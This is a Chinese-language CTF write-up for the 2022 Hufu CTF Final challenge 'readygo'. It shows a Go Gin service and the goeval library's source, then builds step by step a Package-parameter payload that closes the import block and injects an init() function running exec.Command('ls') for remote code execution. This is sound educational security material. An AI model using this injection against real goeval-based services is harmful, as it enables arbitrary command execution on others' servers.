Author: 颖奇L’Amore
Blog: www.gem-love.com
题目来自于2022虎符CTF Final的readygo,给了源码
<span class="hljs-keyword">package</span> main
<span class="hljs-keyword">import</span> (
eval <span class="hljs-string">"github.com/PaulXu-cn/goeval"</span>
<span class="hljs-string">"github.com/gin-gonic/gin"</span>
<span class="hljs-string">"regexp"</span>
)
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
r := gin.Default()
r.LoadHTMLFiles(<span class="hljs-string">"html/index.html"</span>, <span class="hljs-string">"html/result.html"</span>)
r.GET(<span class="hljs-string">"/"</span>, <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(c *gin.Context)</span></span> {
c.Header(<span class="hljs-string">"server"</span>, <span class="hljs-string">"Gin"</span>)
c.HTML(<span class="hljs-number">200</span>, <span class="hljs-string">"index.html"</span>, <span class="hljs-string">""</span>)
})
r.POST(<span class="hljs-string">"/parse"</span>, <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(c *gin.Context)</span></span> {
expression := c.DefaultPostForm(<span class="hljs-string">"expression"</span>, <span class="hljs-string">"666"</span>)
Package := c.DefaultPostForm(<span class="hljs-string">"Package"</span>, <span class="hljs-string">"fmt"</span>)
match, _ := regexp.MatchString(<span class="hljs-string">"([a-zA-Z]+)"</span>, expression)
<span class="hljs-keyword">if</span> match {
c.String(<span class="hljs-number">200</span>, <span class="hljs-string">"Hacker????"</span>)
<span class="hljs-keyword">return</span>
} <span class="hljs-keyword">else</span> {
<span class="hljs-keyword">if</span> res, err := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package); <span class="hljs-literal">nil</span> == err {
c.HTML(<span class="hljs-number">200</span>, <span class="hljs-string">"result.html"</span>, gin.H{<span class="hljs-string">"result"</span>: <span class="hljs-keyword">string</span>(res)})
} <span class="hljs-keyword">else</span> {
c.HTML(<span class="hljs-number">200</span>, <span class="hljs-string">"result.html"</span>, err.Error())
}
}
})
r.Run()
}
gin框架,漏洞主要在这里
expression := c.DefaultPostForm(<span class="hljs-string">"expression"</span>, <span class="hljs-string">"666"</span>) <span class="hljs-comment">// expression不能是字母</span>
Package := c.DefaultPostForm(<span class="hljs-string">"Package"</span>, <span class="hljs-string">"fmt"</span>)
eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package);
使用的eval是来自github.com/PaulXu-cn/goeval的第三方模块
分析一下goeval的源码,可见是代码的拼接 生成文件 然后运行
<span class="hljs-keyword">package</span> goeval
<span class="hljs-keyword">import</span> (
<span class="hljs-string">"fmt"</span>
<span class="hljs-string">"go/format"</span>
<span class="hljs-string">"math/rand"</span>
<span class="hljs-string">"os"</span>
<span class="hljs-string">"os/exec"</span>
<span class="hljs-string">"strings"</span>
<span class="hljs-string">"time"</span>
)
<span class="hljs-keyword">const</span> (
letterBytes = <span class="hljs-string">"abcdefghijklmnopqrstuvwxyz"</span>
letterIdxBits = <span class="hljs-number">6</span> <span class="hljs-comment">// 6 bits to represent a letter index</span>
letterIdxMask = <span class="hljs-number">1</span><<letterIdxBits - <span class="hljs-number">1</span> <span class="hljs-comment">// All 1-bits, as many as letterIdxBits</span>
letterIdxMax = <span class="hljs-number">63</span> / letterIdxBits <span class="hljs-comment">// # of letter indices fitting in 63 bits</span>
)
<span class="hljs-keyword">var</span> (
dirSeparator = <span class="hljs-string">"/"</span>
tempDir = os.TempDir()
src = rand.NewSource(time.Now().UnixNano())
)
<span class="hljs-comment">// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/</span>
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">RandString</span><span class="hljs-params">(n <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">string</span></span> {
b := <span class="hljs-built_in">make</span>([]<span class="hljs-keyword">byte</span>, n)
<span class="hljs-comment">// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!</span>
<span class="hljs-keyword">for</span> i, cache, remain := n<span class="hljs-number">-1</span>, src.Int63(), letterIdxMax; i >= <span class="hljs-number">0</span>; {
<span class="hljs-keyword">if</span> remain == <span class="hljs-number">0</span> {
cache, remain = src.Int63(), letterIdxMax
}
<span class="hljs-keyword">if</span> idx := <span class="hljs-keyword">int</span>(cache & letterIdxMask); idx < <span class="hljs-built_in">len</span>(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
<span class="hljs-keyword">return</span> <span class="hljs-keyword">string</span>(b)
}
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">Eval</span><span class="hljs-params">(defineCode <span class="hljs-keyword">string</span>, code <span class="hljs-keyword">string</span>, imports ...<span class="hljs-keyword">string</span>)</span> <span class="hljs-params">(re []<span class="hljs-keyword">byte</span>, err error)</span></span> {
<span class="hljs-keyword">var</span> (
tmp = <span class="hljs-string">`package main</span>
<span class="hljs-string"></span>
<span class="hljs-string">%s</span>
<span class="hljs-string"></span>
<span class="hljs-string">%s</span>
<span class="hljs-string"></span>
<span class="hljs-string">func main() {</span>
<span class="hljs-string">%s</span>
<span class="hljs-string">}</span>
<span class="hljs-string">`</span>
importStr <span class="hljs-keyword">string</span>
fullCode <span class="hljs-keyword">string</span>
newTmpDir = tempDir + dirSeparator + RandString(<span class="hljs-number">8</span>)
)
<span class="hljs-keyword">if</span> <span class="hljs-number">0</span> < <span class="hljs-built_in">len</span>(imports) {
importStr = <span class="hljs-string">"import ("</span>
<span class="hljs-keyword">for</span> _, item := <span class="hljs-keyword">range</span> imports {
<span class="hljs-keyword">if</span> blankInd := strings.Index(item, <span class="hljs-string">" "</span>); <span class="hljs-number">-1</span> < blankInd {
importStr += fmt.Sprintf(<span class="hljs-string">"\n %s \"%s\""</span>, item[:blankInd], item[blankInd+<span class="hljs-number">1</span>:])
} <span class="hljs-keyword">else</span> {
importStr += fmt.Sprintf(<span class="hljs-string">"\n\"%s\""</span>, item)
}
}
importStr += <span class="hljs-string">"\n)"</span>
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
<span class="hljs-keyword">var</span> codeBytes = []<span class="hljs-keyword">byte</span>(fullCode)
<span class="hljs-comment">// 格式化输出的代码</span>
<span class="hljs-keyword">if</span> formatCode, err := format.Source(codeBytes); <span class="hljs-literal">nil</span> == err {
<span class="hljs-comment">// 格式化失败,就还是用 content 吧</span>
codeBytes = formatCode
}
<span class="hljs-comment">// fmt.Println(string(codeBytes))</span>
<span class="hljs-comment">// 创建目录</span>
<span class="hljs-keyword">if</span> err = os.Mkdir(newTmpDir, os.ModePerm); <span class="hljs-literal">nil</span> != err {
<span class="hljs-keyword">return</span>
}
<span class="hljs-keyword">defer</span> os.RemoveAll(newTmpDir)
<span class="hljs-comment">// 创建文件</span>
tmpFile, err := os.Create(newTmpDir + dirSeparator + <span class="hljs-string">"main.go"</span>)
<span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
<span class="hljs-keyword">return</span> re, err
}
<span class="hljs-keyword">defer</span> os.Remove(tmpFile.Name())
<span class="hljs-comment">// 代码写入文件</span>
tmpFile.Write(codeBytes)
tmpFile.Close()
<span class="hljs-comment">// 运行代码</span>
cmd := exec.Command(<span class="hljs-string">"go"</span>, <span class="hljs-string">"run"</span>, tmpFile.Name())
res, err := cmd.CombinedOutput()
<span class="hljs-keyword">return</span> res, err
}
这里我们的package是没有被过滤的,但是goeval会用空格作为分割,然后来做模块的导入
<span class="hljs-keyword">if</span> blankInd := strings.Index(item, <span class="hljs-string">" "</span>); <span class="hljs-number">-1</span> < blankInd {
importStr += fmt.Sprintf(<span class="hljs-string">"\n %s \"%s\""</span>, item[:blankInd], item[blankInd+<span class="hljs-number">1</span>:])
所以基本可以肯定是通过Package进行代码注入
这里我们可以注入Package一个")
构造了import
的闭合,但是其后还有一个")
就像这样:
expression := <span class="hljs-string">"123"</span>
Package := <span class="hljs-string">"fmt\"\n)"</span>
res, _ := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package)
fmt.Println(<span class="hljs-keyword">string</span>(res))
得到
<span class="hljs-keyword">package</span> main
<span class="hljs-keyword">import</span> (
<span class="hljs-string">"fmt"</span>
)<span class="hljs-string">"</span>
<span class="hljs-string">)</span>
<span class="hljs-string"></span>
<span class="hljs-string"></span>
<span class="hljs-string"></span>
<span class="hljs-string">func main() {</span>
<span class="hljs-string">fmt.Print(123)</span>
<span class="hljs-string">}</span>
于是我们可以在后面再注入进去一个var
这里还需要用\t
来替换空格,因为空格是会被当做多个依赖包进行拆分的
expression := <span class="hljs-string">"123"</span>
Package := <span class="hljs-string">"fmt\"\n)\nvar\t(\na=\"1"</span>
res, _ := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package)
fmt.Println(<span class="hljs-keyword">string</span>(res))
得到如下代码 可以运行成功:
<span class="hljs-keyword">import</span> (
<span class="hljs-string">"fmt"</span>
)
<span class="hljs-keyword">var</span> (
a=<span class="hljs-string">"1"</span>
)
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
fmt.Print(<span class="hljs-number">123</span>)
}
尽管可以注入进去代码,但是执行依然是执行main
函数,而main
函数我们无法修改,导致没法执行其他的代码。
但是在go语言中有一个特殊的init()
函数,他在main()
之前自动执行,所以我们可以注入进去一个init()
expression := <span class="hljs-string">"123"</span>
Package := <span class="hljs-string">"fmt\"\n)\nfunc\tinit(){\nfmt.Print(\"我是init\")\n}\nvar\t(\na=\"1"</span>
res, _ := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package)
fmt.Println(<span class="hljs-keyword">string</span>(res))
得到
<span class="hljs-keyword">package</span> main
<span class="hljs-keyword">import</span> (
<span class="hljs-string">"fmt"</span>
)
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">init</span><span class="hljs-params">()</span></span>{
fmt.Print(<span class="hljs-string">"我是init"</span>)
}
<span class="hljs-keyword">var</span> (
a=<span class="hljs-string">"1"</span>
)
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
fmt.Print(<span class="hljs-number">123</span>)
}
运行成功:
下一步就是执行系统命令了,可以这样执行:
<span class="hljs-keyword">package</span> main
<span class="hljs-keyword">import</span> (
<span class="hljs-string">"fmt"</span>
<span class="hljs-string">"os/exec"</span>
)
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
cmd := exec.Command(<span class="hljs-string">"ls"</span>)
out, _ := cmd.CombinedOutput()
fmt.Println(<span class="hljs-keyword">string</span>(out))
}
于是构造这样的Payload:
expression := <span class="hljs-string">"123"</span>
Package := <span class="hljs-string">"\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"</span>
res, _ := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package)
fmt.Println(<span class="hljs-keyword">string</span>(res))
生成的代码是
<span class="hljs-keyword">package</span> main
<span class="hljs-keyword">import</span> (
<span class="hljs-string">"os/exec"</span>
<span class="hljs-string">"fmt"</span>
)
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">init</span><span class="hljs-params">()</span></span>{
cmd:=exec.Command(<span class="hljs-string">"ls"</span>)
out,_:=cmd.CombinedOutput()
fmt.Println(<span class="hljs-keyword">string</span>(out))
}
<span class="hljs-keyword">var</span>(a=<span class="hljs-string">"1"</span>
)
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
fmt.Print(<span class="hljs-number">123</span>)
}
ls
命令运行成功